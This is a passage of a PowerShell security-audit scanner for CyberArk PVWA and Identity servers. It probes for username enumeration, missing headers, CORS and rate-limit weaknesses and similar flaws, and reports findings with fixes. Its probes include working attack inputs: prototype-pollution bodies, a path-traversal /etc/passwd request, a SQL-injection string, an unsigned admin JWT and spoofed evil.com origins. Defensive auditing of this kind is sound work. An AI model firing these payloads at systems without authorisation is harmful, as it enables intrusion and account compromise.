($responseContent -match '"AllowForgotPassword"\s*:\s*(true|false)') { $configExposed += "AllowForgotPassword=$($Matches[1])" } if ($responseContent -match '"AllowLoginMfaCache"\s*:\s*(true|false)') { $configExposed += "AllowLoginMfaCache=$($Matches[1])" } if ($responseContent -match '"EndpointAuthenticationEnabled"\s*:\s*(true|false)') { $configExposed += "EndpointAuthEnabled=$($Matches[1])" } if ($responseContent -match '"RetryWaitingTime"\s*:\s*(\d+)') { $configExposed += "RetryWaitingTime=$($Matches[1])" } if ($configExposed.Count -ge 3) { Add-Finding -Category "Information Disclosure" ` -CISControl "INFO1" ` -Finding "Authentication configuration exposed in response" ` -Resource "$PVWA$endpoint" ` -CurrentValue "$($configExposed -join '; ')" ` -ExpectedValue "Configuration details should not be exposed pre-authentication" ` -Recommendation "Attackers can use config info to plan authentication attacks" ` -Severity "Low" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "Auth config exposed: $($configExposed -join '; ')" } # If any findings, we found vulnerable endpoint - break if ($findingsFound.Count -gt 0 -or $mfaMechanisms.Count -gt 0) { Write-AuditLog "Found information disclosure in $endpoint" -Level Warning break } } } catch { # Endpoint not accessible or error - try next } } } function Test-ForgotUsernameEnumeration { <# .SYNOPSIS Tests for username enumeration via CyberArk Identity ForgotUsername endpoint .DESCRIPTION The /api/idadmin/Security/ForgotUsername endpoint may allow username/email enumeration if it returns different responses for valid vs invalid users. Also checks if the feature is enabled (potential attack surface). #> Write-AuditLog "Testing ForgotUsername endpoint for enumeration..." -Level Info $forgotEndpoints = @( "/api/idadmin/Security/ForgotUsername", "/Security/ForgotUsername", "/identity/Security/ForgotUsername" ) foreach ($endpoint in $forgotEndpoints) { try { $requestHeaders = @{ "Host" = ([uri]$PVWA).Host "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "Accept" = "application/json" "Content-Type" = "application/json" } # Test with likely valid email format $testBody1 = @{ SearchKey = "admin@test.com" } | ConvertTo-Json $response1 = $null $response1Content = $null try { $response1 = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $testBody1 -ContentType "application/json" -UseBasicParsing -TimeoutSec 15 -ErrorAction Stop $response1Content = $response1.Content } catch { if ($_.Exception.Response) { $reader = New-Object System.IO.StreamReader($_.Exception.Response.GetResponseStream()) $response1Content = $reader.ReadToEnd() } } if (-not $response1Content) { continue } $json1 = $null try { $json1 = $response1Content | ConvertFrom-Json } catch { continue } # Build PoC headers $pocResponseHeaders = @{} if ($response1) { foreach ($h in $response1.Headers.Keys) { $pocResponseHeaders[$h] = $response1.Headers[$h] -join ", " } } # Check if feature is unavailable (disabled) if ($response1Content -match "recovery service is currently unavailable|feature is disabled|not available") { # Feature is disabled - good security practice, report as Pass Add-Finding -Category "Authentication Security" ` -CISControl "AUTH1" ` -Finding "ForgotUsername feature is disabled" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Feature unavailable: $($json1.Message)" ` -ExpectedValue "Feature should be disabled or properly rate-limited" ` -Recommendation "N/A - Feature is correctly disabled, reducing attack surface" ` -Severity "Info" ` -Status "Pass" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody1 ` -ResponseStatus $(if ($response1) { $response1.StatusCode } else { 200 }) ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody $response1Content.Substring(0, [Math]::Min(500, $response1Content.Length)) break } # Feature is enabled - test for enumeration if ($json1.success -eq $true -or $response1Content -match '"Result"') { # Test with invalid/random search key $testBody2 = @{ SearchKey = "nonexistent_user_$(Get-Random)@invalid.test" } | ConvertTo-Json $response2 = $null $response2Content = $null try { $response2 = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $testBody2 -ContentType "application/json" -UseBasicParsing -TimeoutSec 15 -ErrorAction Stop $response2Content = $response2.Content } catch { if ($_.Exception.Response) { $reader = New-Object System.IO.StreamReader($_.Exception.Response.GetResponseStream()) $response2Content = $reader.ReadToEnd() } } if ($response2Content) { $json2 = $null try { $json2 = $response2Content | ConvertFrom-Json } catch {} # Check for enumeration indicators $enumIndicators = @() # Different success values if ($json1.success -ne $json2.success) { $enumIndicators += "Different success values" } # Different messages if ($json1.Message -ne $json2.Message -and $json1.Message -and $json2.Message) { $enumIndicators += "Different error messages" } # Significant response length difference if ([Math]::Abs($response1Content.Length - $response2Content.Length) -gt 50) { $enumIndicators += "Response length differs by $([Math]::Abs($response1Content.Length - $response2Content.Length)) bytes" } if ($enumIndicators.Count -gt 0) { Add-Finding -Category "Authentication Security" ` -CISControl "AUTH1" ` -Finding "Username enumeration possible via ForgotUsername endpoint" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Enumeration indicators: $($enumIndicators -join '; ')" ` -ExpectedValue "Consistent responses regardless of user validity (CWE-203)" ` -Recommendation "Configure consistent responses for valid/invalid users in ForgotUsername" ` -Severity "Medium" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody1 ` -ResponseStatus $(if ($response1) { $response1.StatusCode } else { 200 }) ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "Test 1 (admin@test.com): $($response1Content.Substring(0, [Math]::Min(200, $response1Content.Length)))..." } else { # Feature enabled but consistent responses - still a finding as it increases attack surface Add-Finding -Category "Authentication Security" ` -CISControl "AUTH1" ` -Finding "ForgotUsername feature is enabled" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Feature accessible and responding" ` -ExpectedValue "Consider disabling if not required, or implement rate limiting" ` -Recommendation "Disable ForgotUsername if not needed, or ensure rate limiting is configured" ` -Severity "Low" ` -RequestMethod "POST" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $requestHeaders ` -RequestBody $testBody1 ` -ResponseStatus $(if ($response1) { $response1.StatusCode } else { 200 }) ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody $response1Content.Substring(0, [Math]::Min(300, $response1Content.Length)) } } break } } catch { # Endpoint not accessible - try next } } } function Test-PrototypePollution { # Third-Party: CVE-2024-38996 - ag-grid Prototype Pollution # Note: This is an ag-grid library vulnerability, not CyberArk-specific # Relevant if CyberArk PVWA uses vulnerable ag-grid versions Write-AuditLog "Checking for Third-Party Prototype Pollution (ag-grid CVE-2024-38996)..." -Level Info # Prototype pollution test payloads $protoPayloads = @( @{ Path = "/PasswordVault/api/Users"; Method = "POST"; Body = '{"__proto__":{"admin":true}}' }, @{ Path = "/PasswordVault/api/Safes"; Method = "POST"; Body = '{"constructor":{"prototype":{"isAdmin":true}}}' }, @{ Path = "/PasswordVault/api/auth"; Method = "POST"; Body = '{"username":"test","password":"test","__proto__":{"authenticated":true}}' } ) foreach ($payload in $protoPayloads) { try { $response = Invoke-WebRequest -Uri "$PVWA$($payload.Path)" -Method $payload.Method -Body $payload.Body -ContentType "application/json" -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue # Check if prototype pollution had any effect if ($response.Content -match '"admin"\s*:\s*true|"isAdmin"\s*:\s*true|"authenticated"\s*:\s*true') { Add-Finding -Category "Third-Party Vulnerabilities" ` -CISControl "TP2" ` -Finding "Potential prototype pollution vulnerability (ag-grid CVE-2024-38996)" ` -Resource $payload.Path ` -CurrentValue "Prototype properties may be processed" ` -ExpectedValue "__proto__ and constructor properties rejected" ` -Recommendation "Upgrade ag-grid to version 31.3.4+ or PVWA to latest version" ` -Severity "Medium" } } catch { } } } #====================================================================== # ADDITIONAL SECURITY CHECKS (Non-CVE) #====================================================================== function Test-UsernameEnumeration { <# .SYNOPSIS Tests for username enumeration vulnerabilities in CyberArk Identity .DESCRIPTION CyberArk Identity ≤22.1 exposes X-CFY-TX-TM header that reveals user existence: - Value < 500 = user exists - Value > 1000 = user doesn't exist Also tests response length/timing differences that leak user existence. Reference: https://fluidattacks.com/advisories/porter #> Write-AuditLog "Testing for Username Enumeration vulnerabilities..." -Level Info $identityEndpoints = @( "/Security/StartAuthentication", "/identity/Security/StartAuthentication", "/CyberArk/Identity/Security/StartAuthentication", "/oauth2/platformtoken" ) # Test usernames $testUsers = @( @{ User = "administrator"; Exists = $true }, @{ User = "admin"; Exists = $true }, @{ User = "nonexistent_user_xyz_12345"; Exists = $false } ) foreach ($endpoint in $identityEndpoints) { $timingResults = @() foreach ($testUser in $testUsers) { try { $body = @{ User = $testUser.User Version = "1.0" } | ConvertTo-Json $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $body -ContentType "application/json" -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $stopwatch.Stop() # Check X-CFY-TX-TM header $txTmHeader = $response.Headers["X-CFY-TX-TM"] if ($txTmHeader) { $txTmValue = [int]$txTmHeader $timingResults += @{ User = $testUser.User ExpectedExists = $testUser.Exists TxTmValue = $txTmValue ResponseTime = $stopwatch.ElapsedMilliseconds ResponseLength = $response.Content.Length } # Check for enumeration indicator if (($txTmValue -lt 500 -and $testUser.Exists) -or ($txTmValue -gt 1000 -and -not $testUser.Exists)) { Add-Finding -Category "Authentication Security" ` -CISControl "AUTH1" ` -Finding "Username enumeration via X-CFY-TX-TM header" ` -Resource "$PVWA$endpoint" ` -CurrentValue "X-CFY-TX-TM: $txTmValue for user '$($testUser.User)'" ` -ExpectedValue "Consistent response times regardless of user existence" ` -Recommendation "Upgrade CyberArk Identity to version > 22.1. Implement consistent response times." ` -Severity "Medium" break } } # Check response length differences if ($timingResults.Count -ge 2) { $existingUserLen = ($timingResults | Where-Object { $_.ExpectedExists }).ResponseLength $nonExistingUserLen = ($timingResults | Where-Object { -not $_.ExpectedExists }).ResponseLength if ($existingUserLen -and $nonExistingUserLen -and [Math]::Abs($existingUserLen - $nonExistingUserLen) -gt 50) { Add-Finding -Category "Authentication Security" ` -CISControl "AUTH1" ` -Finding "Username enumeration via response length difference" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Response length differs by $([Math]::Abs($existingUserLen - $nonExistingUserLen)) bytes" ` -ExpectedValue "Consistent response lengths" ` -Recommendation "Normalize response lengths for valid/invalid users" ` -Severity "Medium" } } } catch { } } } } function Test-SecurityHeaders { <# .SYNOPSIS Tests for missing or misconfigured security headers #> Write-AuditLog "Testing for Security Headers..." -Level Info $testEndpoints = @( "/PasswordVault/", "/PasswordVault/v10/logon", "/PasswordVault/api/auth", "/", "/identity/" ) $requiredHeaders = @{ "Content-Security-Policy" = @{ Severity = "High" Recommendation = "Implement CSP to prevent XSS attacks" } "X-Frame-Options" = @{ Severity = "Medium" Recommendation = "Set to DENY or SAMEORIGIN to prevent clickjacking" } "X-Content-Type-Options" = @{ Severity = "Low" Recommendation = "Set to 'nosniff' to prevent MIME-type sniffing" } "Strict-Transport-Security" = @{ Severity = "High" Recommendation = "Enable HSTS with max-age >= 31536000" } "X-XSS-Protection" = @{ Severity = "Low" Recommendation = "Set to '1; mode=block' (legacy browsers)" } "Referrer-Policy" = @{ Severity = "Low" Recommendation = "Set to 'strict-origin-when-cross-origin' or stricter" } "Permissions-Policy" = @{ Severity = "Low" Recommendation = "Restrict browser features not needed by application" } } foreach ($endpoint in $testEndpoints) { try { # For security headers, we want to check the actual page users see (even after redirect) # So we follow redirects and check headers on the final destination (login page) $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response -and $response.StatusCode -eq 200) { $missingHeaders = @() foreach ($header in $requiredHeaders.Keys) { if (-not $response.Headers[$header]) { $missingHeaders += $header } } if ($missingHeaders.Count -gt 0) { # Build PoC response headers for evidence $pocResponseHeaders = @{} foreach ($h in $response.Headers.Keys) { $pocResponseHeaders[$h] = $response.Headers[$h] -join ", " } # Report high severity missing headers individually foreach ($missing in $missingHeaders) { $headerInfo = $requiredHeaders[$missing] if ($headerInfo.Severity -eq "High") { Add-Finding -Category "Security Headers" ` -CISControl "HDR1" ` -Finding "Missing security header: $missing" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Header not present" ` -ExpectedValue "$missing header configured" ` -Recommendation $headerInfo.Recommendation ` -Severity $headerInfo.Severity ` -RequestMethod "GET" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "User-Agent" = "CyberArk-Security-Audit" } ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "Response headers do not include: $missing" } } # Summary finding for all missing headers if ($missingHeaders.Count -gt 2) { Add-Finding -Category "Security Headers" ` -CISControl "HDR1" ` -Finding "Multiple security headers missing ($($missingHeaders.Count) headers)" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Missing: $($missingHeaders -join ', ')" ` -ExpectedValue "All security headers configured" ` -Recommendation "Review OWASP Secure Headers guidelines" ` -Severity "Medium" ` -RequestMethod "GET" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "User-Agent" = "CyberArk-Security-Audit" } ` -ResponseStatus $response.StatusCode ` -ResponseHeaders $pocResponseHeaders ` -ResponseBody "Response is missing the following security headers: $($missingHeaders -join ', ')" } } # Check for dangerous headers if ($response.Headers["Server"]) { $serverHeader = $response.Headers["Server"] if ($serverHeader -match "IIS/[\d\.]+|Apache/[\d\.]+|nginx/[\d\.]+") { Add-Finding -Category "Information Disclosure" ` -CISControl "HDR2" ` -Finding "Server version disclosed in header" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Server: $serverHeader" ` -ExpectedValue "Server header removed or generic" ` -Recommendation "Remove or obfuscate Server header" ` -Severity "Low" } } if ($response.Headers["X-Powered-By"]) { Add-Finding -Category "Information Disclosure" ` -CISControl "HDR2" ` -Finding "X-Powered-By header discloses technology" ` -Resource "$PVWA$endpoint" ` -CurrentValue "X-Powered-By: $($response.Headers["X-Powered-By"])" ` -ExpectedValue "Header removed" ` -Recommendation "Remove X-Powered-By header in IIS" ` -Severity "Low" } if ($response.Headers["X-AspNet-Version"]) { Add-Finding -Category "Information Disclosure" ` -CISControl "HDR2" ` -Finding "ASP.NET version disclosed" ` -Resource "$PVWA$endpoint" ` -CurrentValue "X-AspNet-Version: $($response.Headers["X-AspNet-Version"])" ` -ExpectedValue "Header removed" ` -Recommendation "Disable X-AspNet-Version in web.config" ` -Severity "Low" } break # Only need to test one successful endpoint } } catch { } } } function Test-IISHardening { <# .SYNOPSIS Tests for IIS hardening issues (WebDAV, HTTP methods, etc.) #> Write-AuditLog "Testing IIS Hardening..." -Level Info # Test dangerous HTTP methods $dangerousMethods = @("TRACE", "DEBUG", "PROPFIND", "MKCOL", "COPY", "MOVE", "LOCK", "UNLOCK", "PROPPATCH") foreach ($method in $dangerousMethods) { try { $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method $method -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.StatusCode -ne 405 -and $response.StatusCode -ne 501) { $severity = if ($method -in @("TRACE", "DEBUG")) { "Medium" } else { "High" } Add-Finding -Category "IIS Hardening" ` -CISControl "IIS1" ` -Finding "Dangerous HTTP method enabled: $method" ` -Resource "$PVWA/PasswordVault/" ` -CurrentValue "Method $method returns $($response.StatusCode)" ` -ExpectedValue "Method returns 405 Not Allowed" ` -Recommendation "Disable $method method in IIS. For WebDAV methods, remove WebDAV role." ` -Severity $severity } } catch { # 405 error is expected and good } } # Test OPTIONS to enumerate allowed methods try { $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method OPTIONS -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.Headers["Allow"]) { $allowedMethods = $response.Headers["Allow"] $dangerous = $dangerousMethods | Where-Object { $allowedMethods -match $_ } if ($dangerous) { Add-Finding -Category "IIS Hardening" ` -CISControl "IIS1" ` -Finding "OPTIONS reveals dangerous methods" ` -Resource "$PVWA/PasswordVault/" ` -CurrentValue "Allow: $allowedMethods" ` -ExpectedValue "Only GET, POST, HEAD allowed" ` -Recommendation "Disable unnecessary HTTP methods" ` -Severity "Medium" } } } catch { } # Test for directory listing $testDirs = @( "/PasswordVault/scripts/", "/PasswordVault/images/", "/PasswordVault/css/", "/PasswordVault/js/" ) foreach ($dir in $testDirs) { try { $response = Invoke-WebRequest -Uri "$PVWA$dir" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.Content -match ".*Index of|Parent Directory|Directory Listing|<pre>.*href=") { Add-Finding -Category "IIS Hardening" ` -CISControl "IIS2" ` -Finding "Directory listing enabled" ` -Resource "$PVWA$dir" ` -CurrentValue "Directory contents visible" ` -ExpectedValue "Directory browsing disabled" ` -Recommendation "Disable directory browsing in IIS" ` -Severity "Medium" } } catch { } } # Test for detailed error messages $errorTriggers = @( "/PasswordVault/nonexistent.aspx", "/PasswordVault/api/error?test='OR'1'='1", "/PasswordVault/test.asp", "/PasswordVault/../../../etc/passwd" ) foreach ($trigger in $errorTriggers) { try { $response = Invoke-WebRequest -Uri "$PVWA$trigger" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop } catch { # In PowerShell 7, access error details differently $errorBody = $_.ErrorDetails.Message if (-not $errorBody -and $_.Exception.Response) { try { # Try to read from response content for PS7 if ($_.Exception.Response.Content) { $errorBody = $_.Exception.Response.Content.ReadAsStringAsync().Result } } catch { } } if ($errorBody -match "Stack Trace:|Exception Details:|Server Error in|Source Error:|at System\.|NullReferenceException|SqlException|OracleException") { Add-Finding -Category "IIS Hardening" ` -CISControl "IIS3" ` -Finding "Detailed error messages exposed" ` -Resource "$PVWA$trigger" ` -CurrentValue "Stack trace or exception details visible" ` -ExpectedValue "Generic error page only" ` -Recommendation "Set customErrors mode='On' in web.config" ` -Severity "Medium" break } } } } function Test-APISecurityIssues { <# .SYNOPSIS Tests for API security issues (Swagger exposure, CORS, rate limiting) #> Write-AuditLog "Testing API Security Issues..." -Level Info # Test for exposed API documentation $apiDocEndpoints = @( "/swagger", "/swagger/", "/swagger/ui", "/swagger/index.html", "/swagger-ui/", "/swagger-ui.html", "/api-docs", "/api-docs/", "/openapi.json", "/openapi.yaml", "/v2/api-docs", "/v3/api-docs", "/PasswordVault/swagger", "/PasswordVault/api/swagger", "/docs", "/redoc" ) foreach ($endpoint in $apiDocEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Must be actual API doc content (JSON/YAML/HTML with swagger), not generic HTML $isApiDoc = ($body -match '"swagger"|"openapi"|"paths":\s*\{|"info":\s*\{' -or $body -match 'swagger-ui|Swagger UI|api-docs') # Skip if it's just generic HTML with word "swagger" somewhere if ($body -match "<!DOCTYPE|<html" -and -not ($body -match 'swagger-ui|SwaggerUI')) { continue } if ($response.StatusCode -eq 200 -and $isApiDoc) { Add-Finding -Category "API Security" ` -CISControl "API6" ` -Finding "API documentation exposed: $endpoint" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Swagger/OpenAPI docs accessible without auth" ` -ExpectedValue "API documentation restricted or disabled in production" ` -Recommendation "Disable Swagger UI in production or require authentication" ` -Severity "Medium" ` -RequestMethod "GET" ` -RequestURL "$PVWA$endpoint" ` -ResponseStatus $response.StatusCode break } } catch { Write-AuditLog "Error testing API docs on $endpoint : $($_.Exception.Message)" -Level Debug } } # Test CORS configuration $corsTestOrigins = @( "https://evil.com", "https://attacker.com", "null" ) foreach ($origin in $corsTestOrigins) { try { $headers = @{ "Origin" = $origin } $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/auth" -Method OPTIONS -Headers $headers -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $acaoHeader = $response.Headers["Access-Control-Allow-Origin"] $acacHeader = $response.Headers["Access-Control-Allow-Credentials"] if ($acaoHeader -eq "*") { Add-Finding -Category "API Security" ` -CISControl "API7" ` -Finding "CORS allows any origin (wildcard)" ` -Resource "$PVWA/PasswordVault/api/" ` -CurrentValue "Access-Control-Allow-Origin: *" ` -ExpectedValue "Specific trusted origins only" ` -Recommendation "Configure CORS to allow only trusted origins" ` -Severity "High" break } elseif ($acaoHeader -eq $origin -and $origin -ne "null") { $severity = if ($acacHeader -eq "true") { "Critical" } else { "High" } Add-Finding -Category "API Security" ` -CISControl "API7" ` -Finding "CORS reflects arbitrary origin" ` -Resource "$PVWA/PasswordVault/api/" ` -CurrentValue "Reflects origin: $origin (Credentials: $acacHeader)" ` -ExpectedValue "Only trusted origins allowed" ` -Recommendation "Implement strict CORS origin validation" ` -Severity $severity break } } catch { } } # Test for rate limiting on auth endpoint Write-AuditLog "Testing API rate limiting..." -Level Info $rateLimitEndpoints = @( "/PasswordVault/api/auth/logon", "/PasswordVault/v10/logon", "/PasswordVault/WebServices/auth/Cyberark/CyberArkAuthenticationService.svc/Logon" ) $validRateLimitEndpoint = $null # First, find a valid auth endpoint (one that doesn't redirect - means it exists) foreach ($endpoint in $rateLimitEndpoints) { try { # Use MaximumRedirection 0 to detect if endpoint redirects (doesn't exist) $testBody = '{"username":"test","password":"test"}' $testResponse = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $testBody -ContentType "application/json" -UseBasicParsing -TimeoutSec 5 -MaximumRedirection 0 -ErrorAction Stop $validRateLimitEndpoint = $endpoint break } catch { $statusCode = $_.Exception.Response.StatusCode.value__ # 302/301 redirect means endpoint doesn't exist on this platform - skip if ($statusCode -eq 302 -or $statusCode -eq 301) { Write-AuditLog "API rate limiting endpoint $endpoint redirects - not available on this platform" -Level Debug continue } # 400, 401, 403 indicate the endpoint exists but requires proper auth if ($statusCode -eq 400 -or $statusCode -eq 401 -or $statusCode -eq 403) { $validRateLimitEndpoint = $endpoint break } # 404 means endpoint doesn't exist, try next one } } if ($validRateLimitEndpoint) { try { $responses = @() $testBody = '{"username":"ratelimit_test","password":"test123"}' for ($i = 0; $i -lt 10; $i++) { $start = Get-Date try { $response = Invoke-WebRequest -Uri "$PVWA$validRateLimitEndpoint" -Method POST -Body $testBody -ContentType "application/json" -UseBasicParsing -TimeoutSec 3 -ErrorAction Stop $responses += @{ StatusCode = $response.StatusCode; Time = ((Get-Date) - $start).TotalMilliseconds } } catch { # Capture the actual status code from the exception response $actualStatusCode = 0 if ($_.Exception.Response) { $actualStatusCode = [int]$_.Exception.Response.StatusCode } elseif ($_.Exception.Message -match "(\d{3})") { $actualStatusCode = [int]$Matches[1] } else { $actualStatusCode = 401 # Default assumption for auth failure } $responses += @{ StatusCode = $actualStatusCode; Time = ((Get-Date) - $start).TotalMilliseconds } } } # If all 10 requests completed without 429 or significant delay $avgTime = ($responses | Measure-Object -Property Time -Average).Average $got429 = $responses | Where-Object { $_.StatusCode -eq 429 } $gotRateLimited = $responses | Where-Object { $_.StatusCode -in @(429, 503) -or $_.Time -gt 2000 } # Rate limiting should trigger 429 or progressive delays - if neither, it's missing if (-not $gotRateLimited -and $responses.Count -eq 10 -and $avgTime -lt 1000) { # Build response summary for PoC with ACTUAL status codes $responsesSummary = $responses | ForEach-Object { "Request: StatusCode=$($_.StatusCode), Time=$([math]::Round($_.Time))ms" } # Get most common status code for the response summary $mostCommonStatus = ($responses | Group-Object StatusCode | Sort-Object Count -Descending | Select-Object -First 1).Name Add-Finding -Category "API Security" ` -CISControl "API8" ` -Finding "No rate limiting on authentication endpoint" ` -Resource "$PVWA$validRateLimitEndpoint" ` -CurrentValue "10 requests in $([math]::Round($avgTime * 10))ms total, no 429 responses" ` -ExpectedValue "Rate limiting (429) after 3-5 failed attempts" ` -Recommendation "Implement rate limiting and account lockout on auth endpoints" ` -Severity "High" ` -RequestMethod "POST" ` -RequestURL "$PVWA$validRateLimitEndpoint" ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "Content-Type" = "application/json"; "User-Agent" = "CyberArk-Security-Audit" } ` -RequestBody $testBody ` -ResponseStatus ([int]$mostCommonStatus) ` -ResponseHeaders @{} ` -ResponseBody "10 rapid authentication attempts completed without rate limiting (no 429/503 or delays).`n$($responsesSummary -join "`n")" } } catch { } } else { Write-AuditLog "Skipping API rate limiting test - no valid auth endpoint found (all endpoints redirect or return 404)" -Level Debug } # Test for GraphQL introspection $graphqlEndpoints = @("/graphql", "/PasswordVault/graphql", "/api/graphql") foreach ($endpoint in $graphqlEndpoints) { try { $introspectionQuery = '{"query":"{ __schema { types { name } } }"}' $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $introspectionQuery -ContentType "application/json" -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.Content -match "__schema|__type|queryType") { Add-Finding -Category "API Security" ` -CISControl "API6" ` -Finding "GraphQL introspection enabled" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Schema introspection allowed" ` -ExpectedValue "Introspection disabled in production" ` -Recommendation "Disable GraphQL introspection in production" ` -Severity "Medium" } } catch { } } } function Test-AuthenticationWeaknesses { <# .SYNOPSIS Tests for authentication weaknesses (JWT, session, cookies) #> Write-AuditLog "Testing Authentication Weaknesses..." -Level Info # Test for JWT vulnerabilities $jwtEndpoints = @( "/PasswordVault/api/auth", "/PasswordVault/v10/logon", "/identity/api/oauth2/token" ) # JWT with 'none' algorithm (unsigned) $jwtNonePayload = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImFkbWluIjp0cnVlLCJpYXQiOjE1MTYyMzkwMjJ9." foreach ($endpoint in $jwtEndpoints) { try { $headers = @{ "Authorization" = "Bearer $jwtNonePayload" } $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -Headers $headers -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses (SPA login page) if (Test-IsBaselineResponse -ResponseContent $body) { continue } # Skip HTML responses (not API data) if ($body -match "<!DOCTYPE|<html|<head|<body") { continue } # Only flag if response contains actual authenticated data (JSON with user/token info) if ($response.StatusCode -eq 200 -and $body -match '^\s*\{' -and ($body -match '"token"|"access_token"|"user"|"username"|"CyberArkLogonResult"')) { Add-Finding -Category "Authentication Security" ` -CISControl "AUTH2" ` -Finding "JWT 'none' algorithm accepted - CONFIRMED" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Unsigned JWT token accepted and returned authenticated response" ` -ExpectedValue "Only signed tokens with strong algorithms accepted" ` -Recommendation "Reject JWT tokens with 'none' algorithm. Use RS256 or ES256." ` -Severity "Critical" ` -RequestMethod "GET" ` -RequestURL "$PVWA$endpoint" ` -RequestHeaders $headers ` -ResponseStatus $response.StatusCode ` -ResponseBody ($body.Substring(0, [Math]::Min(500, $body.Length))) } } catch { } } # Test cookie security flags try { $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method GET -UseBasicParsing -TimeoutSec 10 -SessionVariable session -ErrorAction SilentlyContinue if ($session.Cookies.Count -gt 0) { foreach ($cookie in $session.Cookies.GetCookies("$PVWA")) { $issues = @() if (-not $cookie.Secure) { $issues += "Missing Secure flag" } if (-not $cookie.HttpOnly) { $issues += "Missing HttpOnly flag" } if ($issues.Count -gt 0) { Add-Finding -Category "Session Security" ` -CISControl "AUTH3" ` -Finding "Cookie '$($cookie.Name)' missing security flags" ` -Resource "$PVWA/PasswordVault/" ` -CurrentValue $($issues -join ", ") ` -ExpectedValue "Secure; HttpOnly; SameSite=Strict" ` -Recommendation "Set Secure, HttpOnly, and SameSite flags on all cookies" ` -Severity "Medium" } } } } catch { } # Test for session fixation Write-AuditLog "Testing for session fixation..." -Level Info try { # Get initial session $response1 = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method GET -UseBasicParsing -TimeoutSec 10 -SessionVariable session1 -ErrorAction SilentlyContinue $initialSessionId = ($session1.Cookies.GetCookies("$PVWA") | Where-Object { $_.Name -match "session|ASPX|token" }).Value if ($initialSessionId) { # Simulate login attempt (will fail but should rotate session) $loginBody = '{"username":"test","password":"test"}' try { $response2 = Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/auth/logon" -Method POST -Body $loginBody -ContentType "application/json" -UseBasicParsing -TimeoutSec 10 -WebSession $session1 -ErrorAction SilentlyContinue } catch { } $postLoginSessionId = ($session1.Cookies.GetCookies("$PVWA") | Where-Object { $_.Name -match "session|ASPX|token" }).Value if ($initialSessionId -eq $postLoginSessionId -and $initialSessionId) { Add-Finding -Category "Session Security" ` -CISControl "AUTH4" ` -Finding "Potential session fixation vulnerability" ` -Resource "$PVWA/PasswordVault/" ` -CurrentValue "Session ID not rotated after authentication attempt" ` -ExpectedValue "New session ID issued after login" ` -Recommendation "Regenerate session ID after successful authentication" ` -Severity "Medium" } } } catch { } # Test account lockout bypass via different usernames Write-AuditLog "Testing account lockout policy..." -Level Info # Try multiple potential login endpoints (CyberArk Privilege Cloud uses different endpoints than self-hosted) $lockoutEndpoints = @( "/PasswordVault/api/Auth/CyberArk/Logon", "/PasswordVault/API/Auth/Cyberark/Logon", "/PasswordVault/v10/logon", "/Security/StartAuthentication", "/api/idadmin/Security/StartAuthentication" ) $lockoutTestEndpoint = $null $endpointStatusCode = 0 # First, find a valid login endpoint (one that doesn't redirect - means it exists) foreach ($endpoint in $lockoutEndpoints) { try { # Use MaximumRedirection 0 to detect if endpoint redirects (doesn't exist) $testBody = '{"username":"test","password":"test"}' $testResponse = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -Body $testBody 